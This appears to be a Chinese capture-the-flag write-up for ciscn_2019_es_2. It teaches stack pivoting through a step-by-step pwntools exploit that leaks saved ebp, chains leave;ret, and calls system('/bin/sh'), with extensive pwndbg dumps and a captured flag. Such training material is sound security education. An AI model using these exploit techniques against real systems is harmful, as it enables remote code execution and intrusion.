栈迁移(ciscn_2019_es_2)
1. 什么是栈迁移?
栈迁移(Stack Pivoting)是一种攻击技术,攻击者通过修改程序的栈指针,使得程序在执行过程中跳转到攻击者控制的内存区域,从而执行恶意代码。这种技术通常用于绕过安全机制,如数据执行保护(DEP)和地址空间布局随机化(ASLR)。
2. 例子
通过逆向发现:
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
此程序中存在一个缓冲区溢出漏洞,攻击者可以通过输入超过40字节的数据来覆盖栈上的其他变量和返回地址。
但是,读取的长度是0x30(48字节),这意味着只能覆盖到 _DWORD __saved_registers; 和 _UNKNOWN *__return_address; 而无法继续向下写函数参数。于是考虑使用栈迁移。
栈迁移主要借用 leave 指令的功能。leave 指令会将 ebp 的值赋给 esp,然后将 ebp 的值从栈中弹出。这意味着攻击者可以通过覆盖 ebp 来控制 esp 的值,从而实现栈迁移。
要使用栈迁移,首先要暴露 ebp 的值。在覆盖 s 时发现可以通过读到 _DWORD __saved_registers; 来获取 ebp 的值。
payload = b'a' * (0x24) + b'QwQ'
io.sendline(payload)
print(io.recvline())
sleep(0.2)
addr_ebp_last = u32(io.recvline()[0:4])
print(hex(addr_ebp_last))
payload 长度 0x28 覆盖到 s 的所有合法可写区,由于没有终止符( \x00 ),故可以通过 printf("Hello, %s\n", s); 来读到 _DWORD __saved_registers; 的值,即 ebp 的值。
接着借助工具来得到 leave 指令的地址:
addr_leave_ret = 0x08048562
构造栈:
payload = b'a' * 0x28 + b'QwQ\n' + p32(addr_leave_ret)
io.sendline(payload)
用此 payload 来测试一下,开个 gdb 来看看:
gdb.attach(io, "b *0x80485fd\nc")
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
EAX 0x38
EBX 0xf7f3ce34 ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7f9ab60 (_rtld_global_ro) ◂— 0
ESI 0x8048640 (__libc_csu_init) ◂— push ebp
EBP 0xffdfea98 ◂— 0xa517751 ('QwQ\n')
ESP 0xffdfea70 ◂— 0x61616161 ('aaaa')
EIP 0x80485fd (vul+104) ◂— leave
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
► 0x80485fd <vul+104> leave
0x80485fe <vul+105> ret <hack+23>
↓
0x8048562 <hack+23> leave
0x8048563 <hack+24> ret
0x8048564
<init> push ebp
0x8048565 <init+1> mov ebp, esp
0x8048567 <init+3> sub esp, 8
0x804856a <init+6> mov eax, dword ptr [stdin@@GLIBC_2.0] EAX, [stdin@@GLIBC_2.0]
0x804856f <init+11> push 0
0x8048571 <init+13> push 2
0x8048573 <init+15> push 0
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffdfea70 ◂— 0x61616161 ('aaaa')
... ↓ 7 skipped
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
► 0 0x80485fd vul+104
1 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
看到成功覆盖,下个指令为 leave,不过这个指令执行后会有怎样的结果呢?继续单步:
0x080485fe in vul ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
EAX 0x38
EBX 0xf7f3ce34 ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7f9ab60 (_rtld_global_ro) ◂— 0
ESI 0x8048640 (__libc_csu_init) ◂— push ebp
*EBP 0xa517751 ('QwQ\n')
*ESP 0xffdfea9c —▸ 0x8048562 (hack+23) ◂— leave
*EIP 0x80485fe (vul+105) ◂— ret
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
b+ 0x80485fd <vul+104> leave
► 0x80485fe <vul+105> ret <hack+23>
↓
0x8048562 <hack+23> leave
0x8048563 <hack+24> ret
0x8048564
<init> push ebp
0x8048565 <init+1> mov ebp, esp
0x8048567 <init+3> sub esp, 8
0x804856a <init+6> mov eax, dword ptr [stdin@@GLIBC_2.0] EAX, [stdin@@GLIBC_2.0]
0x804856f <init+11> push 0
0x8048571 <init+13> push 2
0x8048573 <init+15> push 0
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffdfea9c —▸ 0x8048562 (hack+23) ◂— leave
01:0004│ 0xffdfeaa0 ◂— 0
02:0008│ 0xffdfeaa4 —▸ 0xffdfeac0 ◂— 1
03:000c│ 0xffdfeaa8 ◂— 0
04:0010│ 0xffdfeaac —▸ 0xf7d30cb9 ◂— add esp, 0x10
05:0014│ 0xffdfeab0 ◂— 0
06:0018│ 0xffdfeab4 ◂— 0
07:001c│ 0xffdfeab8 —▸ 0xf7d4a13d ◂— add ebx, 0x1f2cf7
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
► 0 0x80485fe vul+105
1 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
又看到 ebp 变为了 QwQ\n, esp 位置没有改变,此时 ebp 在 esp 的上方,实际值为 _DWORD __saved_registers; 写入的地址,而此地址目前无效。若此地址指向 payload 内,则可以通过 ret 来跳转到 payload 内继续执行。来看看 ret 执行后发生什么了:
0x08048562 in hack ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
EAX 0x38
EBX 0xf7f3ce34 ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7f9ab60 (_rtld_global_ro) ◂— 0
ESI 0x8048640 (__libc_csu_init) ◂— push ebp
EBP 0xa517751 ('QwQ\n')
*ESP 0xffdfeaa0 ◂— 0
*EIP 0x8048562 (hack+23) ◂— leave
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
b+ 0x80485fd <vul+104> leave
0x80485fe <vul+105> ret <hack+23>
↓
► 0x8048562 <hack+23> leave
0x8048563 <hack+24> ret
0x8048564
<init> push ebp
0x8048565 <init+1> mov ebp, esp
0x8048567 <init+3> sub esp, 8
0x804856a <init+6> mov eax, dword ptr [stdin@@GLIBC_2.0] EAX, [stdin@@GLIBC_2.0]
0x804856f <init+11> push 0
0x8048571 <init+13> push 2
0x8048573 <init+15> push 0
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffdfeaa0 ◂— 0
01:0004│ 0xffdfeaa4 —▸ 0xffdfeac0 ◂— 1
02:0008│ 0xffdfeaa8 ◂— 0
03:000c│ 0xffdfeaac —▸ 0xf7d30cb9 ◂— add esp, 0x10
04:0010│ 0xffdfeab0 ◂— 0
05:0014│ 0xffdfeab4 ◂— 0
06:0018│ 0xffdfeab8 —▸ 0xf7d4a13d ◂— add ebx, 0x1f2cf7
07:001c│ 0xffdfeabc —▸ 0xf7d30cb9 ◂— add esp, 0x10
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
► 0 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
发现要跳到 0x8048562 了,这就是我们之前设置的 leave 指令地址了。ebp 现在依旧停在 _DWORD __saved_registers; 的位置,而 esp 位置没有改变,仍然在原来的位置。
继续单步:
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────
EAX 0x38
EBX 0xf7f3ce34 ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7f9ab60 (_rtld_global_ro) ◂— 0
ESI 0x8048640 (__libc_csu_init) ◂— push ebp
EBP 0xa517751 ('QwQ\n')
ESP 0xffdfeaa0 ◂— 0
EIP 0x8048562 (hack+23) ◂— leave
───────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────
b+ 0x80485fd <vul+104> leave
0x80485fe <vul+105> ret
► 0x8048562 <hack+23> leave
0x8048563 <hack+24> ret
0x8048564
<init> push ebp
0x8048565 <init+1> mov ebp, esp
0x8048567 <init+3> sub esp, 8
0x804856a <init+6> mov eax, dword ptr [stdin@@GLIBC_2.0] EAX, [stdin@@GLIBC_2.0]
0x804856f <init+11> push 0
0x8048571 <init+13> push 2
0x8048573 <init+15> push 0
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffdfeaa0 ◂— 0
01:0004│ 0xffdfeaa4 —▸ 0xffdfeac0 ◂— 1
02:0008│ 0xffdfeaa8 ◂— 0
03:000c│ 0xffdfeaac —▸ 0xf7d30cb9 ◂— add esp, 0x10
04:0010│ 0xffdfeab0 ◂— 0
05:0014│ 0xffdfeab4 ◂— 0
06:0018│ 0xffdfeab8 —▸ 0xf7d4a13d ◂— add ebx, 0x1f2cf7
07:001c│ 0xffdfeabc —▸ 0xf7d30cb9 ◂— add esp, 0x10
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► 0 0x8048562 hack+23
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
发现程序卡住了,原因是 leave 指令执行后, ebp 的值被赋给了 esp,而 ebp 的值是我们之前设置的 QwQ\n 的地址,这个地址无效,所以程序无法继续执行。
终止,改改 payload:
payload = b'MyGO' + b'a' * (0x24) + p32(addr_ebp_last - 0x28 - 4) + p32(addr_leave_ret)
这样一来我们的 s 就有了起始的标志,然后依旧填充,把 _DWORD __saved_registers; 覆盖为 s 的起始位置( s 的长度加上一个 _DWORD __saved_registers; 的长度)。预测这个地址就会引导 esp 在下次跳转时到 s 的起始位置,从而继续执行 payload 内的内容。
再次测试:
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
EAX 0x38
EBX 0xf7f10e34 ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7f6eb60 (_rtld_global_ro) ◂— 0
ESI 0x8048640 (__libc_csu_init) ◂— push ebp
EBP 0xfffc4398 —▸ 0xfffc437c ◂— 0x61616161 ('aaaa')
ESP 0xfffc4370 ◂— 0x4f47794d ('MyGO')
EIP 0x80485fd (vul+104) ◂— leave
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
► 0x80485fd <vul+104> leave
0x80485fe <vul+105> ret <hack+23>
↓
0x8048562 <hack+23> leave
0x8048563 <hack+24> ret
0x8048564
<init> push ebp
0x8048565 <init+1> mov ebp, esp
0x8048567 <init+3> sub esp, 8
0x804856a <init+6> mov eax, dword ptr [stdin@@GLIBC_2.0] EAX, [stdin@@GLIBC_2.0]
0x804856f <init+11> push 0
0x8048571 <init+13> push 2
0x8048573 <init+15> push 0
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xfffc4370 ◂— 0x4f47794d ('MyGO')
01:0004│-024 0xfffc4374 ◂— 0x61616161 ('aaaa')
... ↓ 6 skipped
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
► 0 0x80485fd vul+104
1 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
可以看到 ebp 值在 aaaa 的位置,不对。我们需要其能在 MyGO 的位置,这样 esp 就能跳到 MyGO 的位置继续执行。调整一下 payload:
payload = b'MyGO' + b'a' * (0x24) + p32(addr_ebp_last - 0x28 - 0x1c) + p32(addr_leave_ret)
再次测试:
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
EAX 0x38
EBX 0xf7f73e34 ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7fd1b60 (_rtld_global_ro) ◂— 0
ESI 0x8048640 (__libc_csu_init) ◂— push ebp
EBP 0xffa74018 —▸ 0xffa73fe4 —▸ 0xffa73ff0 ◂— 0x4f47794d ('MyGO')
ESP 0xffa73ff0 ◂— 0x4f47794d ('MyGO')
EIP 0x80485fd (vul+104) ◂— leave
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
► 0x80485fd <vul+104> leave
0x80485fe <vul+105> ret <hack+23>
↓
0x8048562 <hack+23> leave
0x8048563 <hack+24> ret
0x8048564
<init> push ebp
0x8048565 <init+1> mov ebp, esp
0x8048567 <init+3> sub esp, 8
0x804856a <init+6> mov eax, dword ptr [stdin@@GLIBC_2.0] EAX, [stdin@@GLIBC_2.0]
0x804856f <init+11> push 0
0x8048571 <init+13> push 2
0x8048573 <init+15> push 0
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffa73ff0 ◂— 0x4f47794d ('MyGO')
01:0004│-024 0xffa73ff4 ◂— 0x61616161 ('aaaa')
... ↓ 6 skipped
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
► 0 0x80485fd vul+104
1 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
ebp 将要指到 MyGO 了,继续单步:
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────
EAX 0x38
EBX 0xf7f73e34 ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7fd1b60 (_rtld_global_ro) ◂— 0
ESI 0x8048640 (__libc_csu_init) ◂— push ebp
*EBP 0xffa73ff0 ◂— 0x4f47794d ('MyGO')
*ESP 0xffa73fe8 ◂— 0x30 /* '0' */
*EIP 0x8048563 (hack+24) ◂— ret
───────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────
b+ 0x80485fd <vul+104> leave
0x80485fe <vul+105> ret <hack+23>
↓
0x8048562 <hack+23> leave
► 0x8048563 <hack+24> ret <0x30>
↓
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffa73fe8 ◂— 0x30 /* '0' */
01:0004│-004 0xffa73fec —▸ 0x804a044 (stdout@@GLIBC_2.0) —▸ 0xf7f74d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:0008│ ebp 0xffa73ff0 ◂— 0x4f47794d ('MyGO')
03:000c│+004 0xffa73ff4 ◂— 0x61616161 ('aaaa')
... ↓ 4 skipped
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► 0 0x8048563 hack+24
1 0x30 None
2 0x804a044 stdout@@GLIBC_2.0
3 0x4f47794d None
4 0x61616161 None
5 0x61616161 None
6 0x61616161 None
7 0x61616161 None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
现在 ebp 指到 MyGO,但是这貌似没用,我们需要让 esp 指到 MyGO 而 ebp 指到某个能让注入的程序执行完的位置即可,继续调整 payload:
payload = b'MyGO' + b'a' * (0x24) + p32(addr_ebp_last - 0x28 - 0x1c + 0x8) + p32(addr_leave_ret)
再次测试,直接跳到目标:
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
EAX 0x38
EBX 0xf7ea8e34 ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7f06b60 (_rtld_global_ro) ◂— 0
ESI 0x8048640 (__libc_csu_init) ◂— push ebp
*EBP 0x804a044 (stdout@@GLIBC_2.0) —▸ 0xf7ea9d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
*ESP 0xff96ce40 ◂— 0x4f47794d ('MyGO')
*EIP 0x8048563 (hack+24) ◂— ret
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
b+ 0x80485fd <vul+104> leave
0x80485fe <vul+105> ret <hack+23>
↓
0x8048562 <hack+23> leave
► 0x8048563 <hack+24> ret <0x4f47794d>
↓
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xff96ce40 ◂— 0x4f47794d ('MyGO')
01:0004│ 0xff96ce44 ◂— 0x61616161 ('aaaa')
... ↓ 6 skipped
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
► 0 0x8048563 hack+24
1 0x4f47794d None
2 0x61616161 None
3 0x61616161 None
4 0x61616161 None
5 0x61616161 None
6 0x61616161 None
7 0x61616161 None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
此时 esp 指到 MyGO 的位置了,接下来就可以在 payload 内继续构造 ROP 链来执行我们想要的功能了。
依旧老三样,跳过 MyGO 来操作,然后填满:
addr_esp_red = addr_ebp_last - 0x28 - 0x1c + 0x8 + 0x4
payload = b'MyGO' + p32(addr_plt_system) + p32(0x114514) + p32(addr_esp_red + 0x10) + b'/bin/sh\0'
payload = payload.ljust(0x28, b'\0')
payload += p32(addr_esp_red) + p32(addr_leave_ret)
测试:
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
EAX 0xc
EBX 0xf7edde34 ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7f3bb60 (_rtld_global_ro) ◂— 0
ESI 0x8048640 (__libc_csu_init) ◂— push ebp
EBP 0xffdbd408 —▸ 0xffdbd3e0 ◂— 'MyGO'
ESP 0xffdbd3e0 ◂— 'MyGO'
EIP 0x80485fd (vul+104) ◂— leave
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
► 0x80485fd <vul+104> leave
0x80485fe <vul+105> ret <hack+23>
↓
0x8048562 <hack+23> leave
0x8048563 <hack+24> ret <system@plt>
↓
0x8048400 <system@plt> jmp dword ptr [system@got[plt]] <system@plt+6>
↓
0x8048406 <system@plt+6> push 0x18
0x804840b <system@plt+11> jmp 0x80483c0 <0x80483c0>
↓
0x80483c0 push dword ptr [_GLOBAL_OFFSET_TABLE_+4]
0x80483c6 jmp dword ptr [_GLOBAL_OFFSET_TABLE_+8]
<0xf7f19ba0>
↓
0xf7f19ba0 push eax
0xf7f19ba1 push ecx
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffdbd3e0 ◂— 'MyGO'
01:0004│-024 0xffdbd3e4 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
02:0008│-020 0xffdbd3e8 ◂— 0x114514
03:000c│-01c 0xffdbd3ec —▸ 0xffdbd3f0 ◂— '/bin/sh'
04:0010│-018 0xffdbd3f0 ◂— '/bin/sh'
05:0014│-014 0xffdbd3f4 ◂— 0x68732f /* '/sh' */
06:0018│-010 0xffdbd3f8 ◂— 0
07:001c│-00c 0xffdbd3fc ◂— 0
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
► 0 0x80485fd vul+104
1 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
路径正确,可以跳到 system 了。
这里需要注意,参数传入必须是指针而不是字符串,所以我们需要让 esp 指向 '/bin/sh' 的位置,而不是直接把 '/bin/sh' 作为参数传入。
现在直接远程:
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2b bytes:
b'flag{a915a490-43ac-4a43-966f-e104d373a595}\n'
flag{a915a490-43ac-4a43-966f-e104d373a595}
3. 总结
栈迁移虽然成功了,但是发现这个 addr_esp_red 地址是靠试验出来的,实际可以通过分析 leave 指令执行后的栈结构来计算出来的。
比如说第一次拿到栈底 ebp 在 0xff931798,gdb 运行到了后面构造的 leave 后观察 stack。
pwndbg> stack 0x10
00:0000│ esp 0xff931764 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
01:0004│ 0xff931768 ◂— 0x114514
02:0008│ 0xff93176c —▸ 0xff931770 ◂— '/bin/sh'
03:000c│ 0xff931770 ◂— '/bin/sh'
04:0010│ 0xff931774 ◂— 0x68732f /* '/sh' */
05:0014│ 0xff931778 ◂— 0
... ↓ 3 skipped
09:0024│ 0xff931788 —▸ 0xff931760 ◂— 'MyGO'
0a:0028│ 0xff93178c —▸ 0x8048562 (hack+23) ◂— leave
0b:002c│ 0xff931790 ◂— 0
0c:0030│ 0xff931794 —▸ 0xff9317b0 ◂— 1
0d:0034│ 0xff931798 ◂— 0
0e:0038│ 0xff93179c —▸ 0xf7d15cb9 ◂— add esp, 0x10
0f:003c│ 0xff9317a0 ◂— 0
很明显能发现这个 0xff931798 就是栈底原来的位置。当然,这个结果已经是运行到构造 leave 后面的 ret 的地方了,找找刚刚把第二个 s 的 payload 打进去的时候的地址变化:
gdb.attach(io, "b *0x80485fd\nc")
得:
00:0000│ esp 0xff931760 ◂— 'MyGO'
01:0004│-024 0xff931764 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
02:0008│-020 0xff931768 ◂— 0x114514
03:000c│-01c 0xff93176c —▸ 0xff931770 ◂— '/bin/sh'
04:0010│-018 0xff931770 ◂— '/bin/sh'
05:0014│-014 0xff931774 ◂— 0x68732f /* '/sh' */
06:0018│-010 0xff931778 ◂— 0
07:001c│-00c 0xff93177c ◂— 0
即使我没有写后面的 p32(addr_esp_red) + p32(addr_leave_ret),也能发现 esp 已经指向了 MyGO 的位置了。这个位置显示是 0xff931760 ,而运行目标是第二个 0xff931764 ,指向了 system@plt 的位置了。当然没有写 p32(addr_esp_red) + p32(addr_leave_ret) 的话,后面就是大概空的。
不管如何,现在得到这个目标位置 0xff931764 与 0xff931798 差了:
0x798 - 0x764 = 0x34
payload 里面写的:
- 0x28 - 0x1c + 0x8 + 0x4 = - 0x38
为什么是 0x38 而不是 0x34 呢?原因在 leave。由于第一次 leave 由本函数触发而无实际的理论影响,主要看第二次我们 ret 到的那个 leave 和 ret 的位置,它们到底做了什么:
leave:
mov esp, ebp
pop ebp
这就是 leave 的基本操作, mov esp, ebp 是把 ebp 的值赋给 esp,而 pop ebp 是把 esp 指向的值赋给 ebp,然后 esp 加 4。
当 mov esp, ebp 执行后,由于我们需要其达到目标,所以我们其实指向的是 0xff931760,也就是 system@plt 上面的占位字节 MyGO:
esp = ebp = 0xff931760 ◂— 'MyGO'
当 pop ebp 执行后:
ebp = [esp] = 0xff931760 ◂— 'MyGO'
esp = ebp[esp] + 4 = 0xff931760 + 4 = 0xff931764 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
此时 esp 原本指向的 MyGO 被 pop 了而向下移动了 4 个字节,所以我们需要在 payload 里面把 addr_esp_red 的位置设置为 0x38 而不是 0x34,这样才能正确地跳到 system@plt 的位置。
那么我们现在的栈空间大致是:
b'MyGO' ← 被 pop 掉,addr_esp_red
+ system ← ret 真正跳这里 ✅
+ 0x114514 ← ret 的返回地址,随便写的,addr_esp_red + 8
+ → addr_esp_red + 16(0x10) ← system 的参数 '/bin/sh' 的位置,addr_esp_red + 12(0xC)
+ b'/bin/sh\0' ← system 的参数,addr_esp_red + 16(0x10)
同理,得到 b'/bin/sh\0' 的位置也是通过 addr_esp_red + 0x10 来计算的而非 addr_esp_red + 0xC。
文章评论